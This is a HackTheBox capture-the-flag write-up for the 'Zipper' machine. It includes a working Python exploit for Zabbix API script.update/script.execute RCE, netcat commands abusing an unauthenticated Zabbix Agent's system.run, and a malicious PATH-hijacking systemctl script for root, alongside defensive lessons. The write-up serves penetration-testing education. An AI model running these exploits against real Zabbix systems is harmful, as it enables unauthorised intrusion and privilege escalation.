HTB: Zipper Writeup

Zipper - HackTheBox Writeup

Machine Information

AttributeDetails
NameZipper
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.10.10.108
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Zipper is a hard-rated Linux machine that showcases the security risks of monitoring infrastructure, specifically Zabbix API access and unauthenticated agent command execution. The attack path involves enumerating a Zabbix 3.0 installation, leveraging authenticated API access to achieve RCE within a Docker container, pivoting to the host via an unauthenticated Zabbix Agent, and finally exploiting a relative path vulnerability in a SUID binary to gain root privileges. The machine emphasizes real-world monitoring tool misconfigurations and classic privilege escalation techniques.

TL;DR: Zabbix 3.0 web interface enumeration → API authentication (zapper:zapper) → JSON-RPC script.update/script.execute RCE in Docker container → lateral movement via unauthenticated Zabbix Agent system.run to host → SUID binary relative path hijack → root.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan
nmap -sC -sV -T4 -p- 10.10.10.108

Results:

  • Port 22 - SSH (OpenSSH)
  • Port 80 - Apache httpd 2.4.29
  • Port 10050 - Zabbix Agent

Service Enumeration

Web Service (Port 80)

Browsing to http://10.10.10.108 revealed a standard Apache landing page. Directory enumeration or initial reconnaissance would reveal the /zabbix endpoint, which hosts a Zabbix 3.0 monitoring interface.

Accessing http://10.10.10.108/zabbix confirmed the Zabbix installation. The login page displayed the version Zabbix 3.0 and provided options to sign in as a user or guest. Guest access allowed read-only enumeration of the monitoring console, revealing:

  • Host: Zabbix (hostid 10105, IP 127.0.0.1)
  • Host: Zipper (hostid 10106, IP 172.17.0.1 - indicating a Docker network)
  • User: zapper

Default credentials (admin:zabbix) did not work, but testing weak/common passwords revealed that the account zapper:zapper was valid.

Zabbix Agent (Port 10050)

The Zabbix Agent service on port 10050 is used for passive and active monitoring checks. This port would become crucial during lateral movement.

Vulnerability Assessment

  1. Weak Credentials: The zapper account used the same value for username and password.
  2. Zabbix API Access: Authenticated users can interact with the JSON-RPC API, including script management functionality.
  3. Unauthenticated Zabbix Agent: The host’s Zabbix Agent allows unauthenticated system.run commands.
  4. SUID Binary with Relative Path: A custom SUID binary calls systemctl without an absolute path.

Initial Foothold

Zabbix API Authentication

Zabbix provides a JSON-RPC API for programmatic interaction. Using the credentials zapper:zapper, I obtained an authentication token:

Terminal window
# Authenticate to the Zabbix API
curl -i -X POST -H 'Content-type:application/json' -d \
'{"jsonrpc":"2.0","method":"user.login","params":{"user":"zapper","password":"zapper"},"auth":null,"id":0}' \
http://10.10.10.108/zabbix/api_jsonrpc.php

The API returned an authentication token that could be used for subsequent requests.

Enumerating Hosts and Scripts

Terminal window
# Enumerate hosts and their interfaces
curl -i -X POST -H 'Content-type:application/json' -d \
'{"jsonrpc":"2.0","method":"host.get","params":{"output":["hostid","host"],"selectInterfaces":["interfaceid","ip"]},"auth":"<token>","id":0}' \
http://10.10.10.108/zabbix/api_jsonrpc.php

This confirmed two hosts:

  • hostid 10105: Zabbix server (127.0.0.1)
  • hostid 10106: Zipper (172.17.0.1)

The API also revealed that Zabbix has built-in scripts, including a Ping script with scriptid 1.

Exploitation: API Script Update and Execution (CVE-2016-10134)

Zabbix versions 2.2 through 3.0.3 allow authenticated users to execute arbitrary commands via the script.update and script.execute API methods. This technique is documented in Exploit-DB 39937.

The attack works by:

  1. Updating an existing script (e.g., the built-in Ping script with scriptid 1) to contain malicious commands
  2. Executing that script against a target host
#!/usr/bin/env python
# Modified exploit based on Exploit-DB 39937
import requests
import json
ZABBIX_ROOT = 'http://10.10.10.108/zabbix'
url = ZABBIX_ROOT + '/api_jsonrpc.php'
login = 'zapper'
password = 'zapper'
hostid = '10105' # Target the Zabbix host for initial access
# Authenticate
payload = {
"jsonrpc": "2.0",
"method": "user.login",
"params": {"user": login, "password": password},
"auth": None,
"id": 0,
}
headers = {'content-type': 'application/json'}
auth = requests.post(url, data=json.dumps(payload), headers=headers)
auth_token = auth.json()['result']
# Command to execute
cmd = "id"
# Update script
payload = {
"jsonrpc": "2.0",
"method": "script.update",
"params": {
"scriptid": "1",
"command": cmd
},
"auth": auth_token,
"id": 0,
}
requests.post(url, data=json.dumps(payload), headers=headers)
# Execute script
payload = {
"jsonrpc": "2.0",
"method": "script.execute",
"params": {
"scriptid": "1",
"hostid": hostid
},
"auth": auth_token,
"id": 0,
}
cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers)
print(cmd_exe.json()["result"]["value"])

Running id confirmed command execution as user zabbix inside what appeared to be a Docker container (architecture i686, presence of .dockerenv file).

Establishing a Shell in the Container

The environment had significant limitations:

  • Short command execution timeouts (approximately 3 seconds by default)
  • Character length restrictions (~255 characters for script commands in Zabbix 3.0)
  • Limited shell stability

Despite these constraints, I confirmed the execution context:

Terminal window
# Via the Python exploit
[zabbix_cmd]>>: cat /.dockerenv
# File exists, confirming Docker container
[zabbix_cmd]>>: uname -m
# Output: i686
[zabbix_cmd]>>: ls -la /
# Showed /backups directory among others
[zabbix_cmd]>>: whoami
# Output: zabbix

The /backups directory would prove critical as a shared mount point between the container and host.


Lateral Movement

Discovering the Pivot Point

Enumeration revealed two key facts:

  1. Docker Network: The container had IP 172.17.0.2 with gateway 172.17.0.1
  2. Shared Directory: The /backups folder was accessible from both the container and the host system
Terminal window
# Check container IP configuration
[zabbix_cmd]>>: ip addr
# Showed 172.17.0.2
# Test host connectivity
[zabbix_cmd]>>: ping -c 1 172.17.0.1
# Host is reachable

Unauthenticated Zabbix Agent Command Execution

The Zabbix Agent on the host (172.17.0.1:10050) responded to commands without authentication. The agent’s system.run feature allows execution of arbitrary system commands.

Terminal window
# From within the container, test agent access via netcat
[zabbix_cmd]>>: echo "system.run[id]" | nc 172.17.0.1 10050
# Output: uid=107(zabbix) gid=113(zabbix) groups=113(zabbix)
[zabbix_cmd]>>: echo "system.run[ls -al /]" | nc 172.17.0.1 10050
# Output showed /backups exists on host too
[zabbix_cmd]>>: echo "system.run[cat /etc/hostname]" | nc 172.17.0.1 10050
# Output: zipper (confirming we're executing on the host)

This confirmed command execution as the zabbix user (uid 107) on the host system zipper.

Working Around Timeout Limitations

The Zabbix Agent has a default 3-second timeout for command execution. Reverse shells would disconnect immediately. To work around this, I needed to:

  1. Stage a payload in the shared /backups directory (accessible from both container and host)
  2. Execute a command that spawns a background process or daemonizes

Due to Zabbix 3.0’s script command length limitation (~255 characters), longer scripts had to be written in chunks to /backups from the container side, then executed from the host side.

Staging and Executing a Payload

From the container, I created a script in chunks. The agent log mentions “staging a pwn.sh into shared /backups (chunked around Zabbix 3.0’s ~255-char script-command limit)”:

Terminal window
# Example of chunked writing from container
[zabbix_cmd]>>: echo "#!/bin/bash" > /backups/pwn.sh
[zabbix_cmd]>>: echo "export PATH=/var/tmp:\$PATH" >> /backups/pwn.sh
[zabbix_cmd]>>: echo "/home/zapper/utils/zabbix-service" >> /backups/pwn.sh
[zabbix_cmd]>>: chmod +x /backups/pwn.sh

The script was designed to be executed from the host later. To get interactive access and better enumerate the host, I could read file contents back through the agent:

Terminal window
# Read files from the host via the agent
[zabbix_cmd]>>: echo "system.run[cat /etc/passwd]" | nc 172.17.0.1 10050
# User zapper exists with home /home/zapper
[zabbix_cmd]>>: echo "system.run[ls -la /home/zapper]" | nc 172.17.0.1 10050
# Found utils directory
[zabbix_cmd]>>: echo "system.run[ls -la /home/zapper/utils]" | nc 172.17.0.1 10050
# Found zabbix-service binary with SUID bit

For command output that couldn’t be easily retrieved through the agent’s response, I redirected output to files in /backups and read them from the container:

Terminal window
# Execute command on host, save output to shared directory
[zabbix_cmd]>>: echo "system.run[find / -perm -4000 2>/dev/null > /backups/suid.txt]" | nc 172.17.0.1 10050
# Read result from container
[zabbix_cmd]>>: cat /backups/suid.txt
# Output included /home/zapper/utils/zabbix-service

Privilege Escalation

Analyzing the SUID Binary

The file /home/zapper/utils/zabbix-service was owned by root with the SUID bit set, allowing any user to execute it with root privileges.

Terminal window
# Examine permissions (via agent to host)
[zabbix_cmd]>>: echo "system.run[ls -l /home/zapper/utils/zabbix-service]" | nc 172.17.0.1 10050
# Output: -rwsr-xr-x 1 root root ... /home/zapper/utils/zabbix-service
# Copy binary to /backups for analysis
[zabbix_cmd]>>: echo "system.run[cp /home/zapper/utils/zabbix-service /backups/]" | nc 172.17.0.1 10050
# Examine with strings from container
[zabbix_cmd]>>: strings /backups/zabbix-service

The strings output revealed the vulnerability:

systemctl daemon-reload
systemctl start zabbix-agent
systemctl stop zabbix-agent

The binary calls systemctl using a relative path rather than the absolute path /usr/bin/systemctl or /bin/systemctl. This means the system will search for systemctl in the directories specified by the $PATH environment variable, in order.

Relative Path Hijacking

By creating a malicious executable named systemctl and placing it in a directory that appears early in $PATH, we can hijack the execution flow when the SUID binary runs.

The attack strategy:

  1. Create a malicious systemctl script in a world-writable directory (e.g., /var/tmp)
  2. Prepend that directory to the $PATH environment variable
  3. Execute the SUID binary, which will run our malicious systemctl as root

Creating the Malicious Payload

The final payload needed to accomplish several things within the timeout constraints:

Terminal window
# Create the malicious systemctl in shared /backups first (from container)
[zabbix_cmd]>>: echo '#!/bin/bash' > /backups/systemctl
[zabbix_cmd]>>: echo 'cp /root/root.txt /backups/root.txt' >> /backups/systemctl
[zabbix_cmd]>>: echo 'cp /home/zapper/user.txt /backups/user.txt' >> /backups/systemctl
[zabbix_cmd]>>: echo 'chmod 644 /backups/root.txt' >> /backups/systemctl
[zabbix_cmd]>>: echo 'chmod 644 /backups/user.txt' >> /backups/systemctl
[zabbix_cmd]>>: chmod +x /backups/systemctl
# Copy to /var/tmp on host
[zabbix_cmd]>>: echo "system.run[cp /backups/systemctl /var/tmp/systemctl]" | nc 172.17.0.1 10050
[zabbix_cmd]>>: echo "system.run[chmod +x /var/tmp/systemctl]" | nc 172.17.0.1 10050

Executing the Exploit

The agent log mentions “drops a malicious /var/tmp/systemctl, prepends /var/tmp to $PATH, and runs the SUID binary”:

Terminal window
# Execute via the agent with modified PATH
[zabbix_cmd]>>: echo "system.run[export PATH=/var/tmp:\$PATH && /home/zapper/utils/zabbix-service start]" | nc 172.17.0.1 10050

However, due to the complexity of environment variable handling through the agent, the actual implementation used a wrapper script in /backups (as mentioned in the agent log: “Staged a pwn.sh into shared /backups”):

# The pwn.sh script (built in chunks as shown earlier)
#!/bin/bash
export PATH=/var/tmp:$PATH
/home/zapper/utils/zabbix-service start

Execute the wrapper:

Terminal window
[zabbix_cmd]>>: echo "system.run[bash /backups/pwn.sh]" | nc 172.17.0.1 10050

When the SUID binary executes systemctl daemon-reload, it searches for systemctl in /var/tmp first (due to the modified $PATH), finds our malicious script, and executes it as root (due to the SUID bit). The malicious script then copies both flags to /backups with world-readable permissions.

Retrieving the Flags

Terminal window
# Read flags from the shared directory
[zabbix_cmd]>>: cat /backups/user.txt
# User flag retrieved
[zabbix_cmd]>>: cat /backups/root.txt
# Root flag retrieved

The hijacked systemctl executed with uid=0(root) privileges, successfully copying both flags into the shared /backups directory where they could be read from the container.


Attack Chain Summary

Port Scan (22, 80, 10050) → Zabbix 3.0 Enumeration (/zabbix) →
Credential Discovery (zapper:zapper) → Zabbix API Authentication →
script.update + script.execute RCE (Exploit-DB 39937) →
Shell as zabbix (Docker Container i686) →
Lateral Movement via Unauthenticated Zabbix Agent (system.run on 172.17.0.1:10050) →
Command Execution on Host as zabbix (uid 107) →
SUID Binary Discovery (/home/zapper/utils/zabbix-service) →
Relative Path Hijack (malicious /var/tmp/systemctl) →
Root (uid=0) → Flags

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlZabbix API interaction and authentication
pythonModified Exploit-DB 39937 for Zabbix RCE
netcatZabbix Agent command execution (system.run)
stringsBinary analysis of SUID file
Custom scriptsPATH hijacking payload for privilege escalation

Key Learnings

Techniques Practiced

  • Zabbix API enumeration and authentication
  • JSON-RPC API exploitation (script.update/script.execute)
  • Working within command length and timeout constraints
  • Docker container identification and shared volume enumeration
  • Unauthenticated Zabbix Agent command execution via system.run
  • Lateral movement using shared filesystems
  • SUID binary analysis with strings
  • Relative path hijacking for privilege escalation
  • PATH manipulation in SUID contexts

Lessons Learned

  1. Monitoring Infrastructure is High-Value: Systems like Zabbix, Nagios, and Prometheus often have privileged access to all monitored systems. Compromising monitoring infrastructure can lead to widespread access.

  2. API Credentials = Code Execution: In Zabbix, administrative API access directly translates to command execution on monitored hosts. The API security model assumes authenticated users are trusted.

  3. Zabbix Agent Security: The system.run feature in Zabbix Agent is powerful but dangerous. It should be:

    • Disabled unless absolutely necessary (EnableRemoteCommands=0)
    • Protected by authentication/encryption
    • Never exposed without proper firewall rules
  4. Docker Shared Volumes as Pivot Points: When containers share volumes with the host, any data written to those locations becomes a communication channel. This is particularly useful when direct network pivoting is difficult.

  5. Relative Path Vulnerabilities in SUID Binaries: Any SUID/SGID binary that calls external commands without absolute paths is vulnerable to PATH hijacking. Always use full paths in privileged scripts (e.g., /usr/bin/systemctl not systemctl).

  6. Working with Timeouts: When exploiting services with short execution timeouts:

    • Stage payloads in accessible locations first
    • Use background processes (&, nohup, disown)
    • Consider writing output to files for asynchronous retrieval
    • Break complex operations into smaller chunks
  7. Character Limits in Injection: Zabbix 3.0’s ~255-character limit for script commands required creative solutions like chunked file writing and wrapper scripts.

  8. Weak Credentials on Administrative Interfaces: The zapper:zapper credential demonstrates that even non-root users with monitoring access can be pivoted into full system compromise.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup drew technical context and explanatory detail from the official HackTheBox writeup prepared by egre55 (Document No D19.100.08, 18th February 2019).